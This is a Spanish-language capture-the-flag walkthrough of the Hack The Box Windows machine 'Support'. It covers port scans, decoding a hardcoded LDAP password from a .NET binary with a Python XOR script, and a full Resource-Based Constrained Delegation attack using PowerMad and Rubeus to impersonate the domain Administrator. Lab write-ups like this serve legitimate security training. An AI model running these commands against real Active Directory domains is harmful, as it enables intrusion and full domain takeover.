Support

Sistema operativo | Dificultad | Fecha de Lanzamiento | Creador |
---|---|---|---|
Windows | Easy | 30 Julio 2022 | 0xdf |
Escaneo de puertos
nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts -vvv 10.10.11.174
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-08 11:36 -03
Initiating SYN Stealth Scan at 11:36
Scanning 10.10.11.174 [65535 ports]
Discovered open port 139/tcp on 10.10.11.174
Discovered open port 445/tcp on 10.10.11.174
Discovered open port 53/tcp on 10.10.11.174
Discovered open port 135/tcp on 10.10.11.174
Discovered open port 9389/tcp on 10.10.11.174
Discovered open port 593/tcp on 10.10.11.174
Discovered open port 49741/tcp on 10.10.11.174
Discovered open port 3268/tcp on 10.10.11.174
Discovered open port 49667/tcp on 10.10.11.174
Discovered open port 3269/tcp on 10.10.11.174
Discovered open port 49699/tcp on 10.10.11.174
Discovered open port 49678/tcp on 10.10.11.174
Discovered open port 464/tcp on 10.10.11.174
Discovered open port 49674/tcp on 10.10.11.174
Discovered open port 88/tcp on 10.10.11.174
Discovered open port 49664/tcp on 10.10.11.174
Discovered open port 389/tcp on 10.10.11.174
Discovered open port 5985/tcp on 10.10.11.174
Discovered open port 636/tcp on 10.10.11.174
Completed SYN Stealth Scan at 11:37, 53.69s elapsed (65535 total ports)
Nmap scan report for 10.10.11.174
Host is up, received user-set (0.18s latency).
Scanned at 2025-04-08 11:36:06 -03 for 54s
Not shown: 65516 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49674/tcp open unknown syn-ack ttl 127
49678/tcp open unknown syn-ack ttl 127
49699/tcp open unknown syn-ack ttl 127
49741/tcp open unknown syn-ack ttl 127
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 53.77 seconds
Raw packets sent: 262117 (11.533MB) | Rcvd: 50 (2.200KB)
Enumeración de versión y servicio
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49674,49678,49699,49741 -oN servicesScan 10.10.11.174
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-08 11:37 -03
Nmap scan report for 10.10.11.174 (10.10.11.174)
Host is up (0.15s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-08 14:40:32Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49678/tcp open msrpc Microsoft Windows RPC
49699/tcp open msrpc Microsoft Windows RPC
49741/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-04-08T14:41:23
|_ start_date: N/A
|_clock-skew: 2m43s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 101.63 seconds
Explotación inicial
echo "10.10.11.174 support.htb" >> /etc/hosts
Enumeración de recursos compartidos.
Descargamos el archivo UserInfo.exe.zip
En una máquina Windows alternativa, abrimos el binario UserInfo.exe.
- La cadena
enc_password
se decodifica en Base64 y se alamacena en un array de bytes. - Se crea un segundo array de bytes
bytes
con el valor del array anteriornumArray
. - Si inicializa un bucle, el cual recorre cada caracter del array y realiza un XORs con una letra de la clave y luego con el byte 0xDFu (223).
- Finalmente se desencripta la clave y es retornada.
Armamos un script de Python para realizar esto.
import base64
from itertools import cycle
enc_password = base64.b64decode("0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E")
key = b"armando"
key2 = 223
res = ''
for e,k in zip(enc_password, cycle(key)):
res += chr(e ^ k ^ key2)
print(res)
ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
Podemos enumerar a través de LDAP
ldapsearch -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -x -s base -b 'DC=support,DC=htb' '*'
ldapsearch -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -x -b 'DC=support,DC=htb' '(objectClass=User)' '*'
[!warning] Credenciales
Usuario: support
Contraseña: Ironside47pleasure40Watchful
Servicio/Aplicación:
Escalación de privilegios SYSTEM
La salida de Nmap ya nos indicó que la máquina pertenece a un dominio. Podemos obtener más información sobre el dominio mediante el módulo PowerShell de Active Directory, que suele estar preinstalado en los controladores de dominio.
De hecho, la máquina es el controlador de dominio (dc.support.htb) del dominio support.htb. Agreguemos este nombre de host a nuestro archivo de hosts.
echo "10.10.11.174 dc.support.htb" >> /etc/hosts
Realizamos una enumeración por Bloodhound.
bloodhound-python -u 'support' -p 'Ironside47pleasure40Watchful' -d support.htb -ns 10.10.11.174 --zip -c All
BloodHound menciona que, gracias al privilegio GenericAll, podemos realizar un ataque de Delegación Restringida Basada en Recursos (RBCD) y aumentar nuestros privilegios.
En pocas palabras, mediante un ataque de Delegación Restringida Basada en Recursos (RBCD) podemos agregar una computadora que esté bajo nuestro control al dominio. Vamos a llamar a esta máquina $FAKE-COMP10, y la vamos a configurar para que el Controlador de Dominio (DC) permita que $FAKE-COMP10 actúe en su nombre.
Después, al actuar en nombre del DC, podemos solicitar tickets Kerberos para $FAKE-COMP10, con la capacidad de suplantar a un usuario con altos privilegios dentro del dominio, como por ejemplo el Administrador.
Una vez que tenemos esos tickets Kerberos generados, podemos hacer un Pass the Ticket (PtT) y autenticarnos como ese usuario privilegiado, lo que básicamente nos da control total del dominio.
A partir de la enumeración previa, sabemos que el usuario support efectivamente es miembro del grupo Authenticated Users, así como también del grupo Shared Support Accounts.
También sabemos que el grupo Shared Support Accounts tiene privilegios GenericAll sobre el Controlador de Dominio (dc.support.htb).
Ahora, vamos a verificar el valor del atributo ms-ds-machineaccountquota.
La salida del comando anterior muestra que este atributo está configurado en 10, lo que significa que cada usuario autenticado del dominio puede agregar hasta 10 computadoras al dominio.
A continuación, vamos a verificar que el atributo msds-allowedtoactonbehalfofotheridentity esté vacío. Para eso, necesitamos el módulo PowerView para PowerShell.
Podemos subirlo al servidor usando Evil-WinRM, como ya mostramos antes.
Una vez subido, lo podemos importar con el siguiente comando:
El valor está vacío, lo que significa que ya estamos listos para ejecutar el ataque RBCD, pero primero vamos a subir las herramientas necesarias.
Vamos a necesitar PowerMad y Rubeus, y las podemos subir usando Evil-WinRM, como mostramos anteriormente.
PowerMad se puede importar con el siguiente comando:
Creación de un objeto Computadora
New-MachineAccount -MachineAccount FAKE-COMP10 -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
El comando anterior agregó una máquina con el nombre FAKE-COMP10 al dominio, usando la contraseña Password123.
Podemos verificar que esta nueva máquina fue creada con el siguiente comando:
Configurando RBCD
A continuación, vamos a tener que configurar la Delegación Restringida Basada en Recursos (RBCD), y hay dos formas de hacerlo:
- Podemos establecer el valor de
PrincipalsAllowedToDelegateToAccount
a FAKE-COMP10 usando el módulo integrado de PowerShell para Active Directory.
→ Esto automáticamente configura el atributomsds-allowedtoactonbehalfofotheridentity
. - O bien, podemos usar PowerView para modificar directamente el atributo
msds-allowedtoactonbehalfofotheridentity
.
Para este walkthrough vamos a usar la primera opción, ya que es un poco más fácil de entender.
Vamos a usar el comando Set-ADComputer para configurar la RBCD.
Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount FAKE-COMP10$
Como podemos ver, el valor de PrincipalsAllowedToDelegateToAccount
está configurado como FAKE-COMP10, lo que significa que el comando funcionó correctamente.
También podemos verificar el valor del atributo msds-allowedtoactonbehalfofotheridentity
.
Get-DomainComputer DC | select msds-allowedtoactonbehalfofotheridentity
Como podemos ver, el atributo msds-allowedtoactonbehalfofotheridentity
ahora tiene un valor, pero como el tipo de este atributo es un Raw Security Descriptor, vamos a tener que convertir los bytes a una cadena legible para entender qué está pasando.
Primero, vamos a tomar el valor que nos interesa y lo vamos a guardar en una variable llamada $RawBytes
.
En la salida podemos ver que el SecurityIdentifier
está configurado con el SID de FAKE-COMP10 que vimos anteriormente, y que el AceType
está establecido como AccessAllowed.
Realizar el ataque S4U
Es momento de realizar el ataque S4U, que nos permitirá obtener un ticket Kerberos en nombre del Administrador. Vamos a usar Rubeus para llevar a cabo este ataque.
Primero, necesitaremos el hash de la contraseña que se usó para crear el objeto de la computadora.
.\Rubeus.exe hash /password:Password123 /user:FAKE-COMP10$ /domain:support.htb
Necesitamos obtener el valor llamado rc4_hmac. Luego, podemos generar los tickets Kerberos para el Administrador.
rubeus.exe s4u /user:FAKE-COMP10$ /rc4:58A478135A93AC3BF058A5EA0E8FDB71 /impersonateuser:Administrator /msdsspn:cifs/dc.support.htb /domain:support.htb /ptt
base64 -d ticket.kirbi.b64 > ticket.kirbi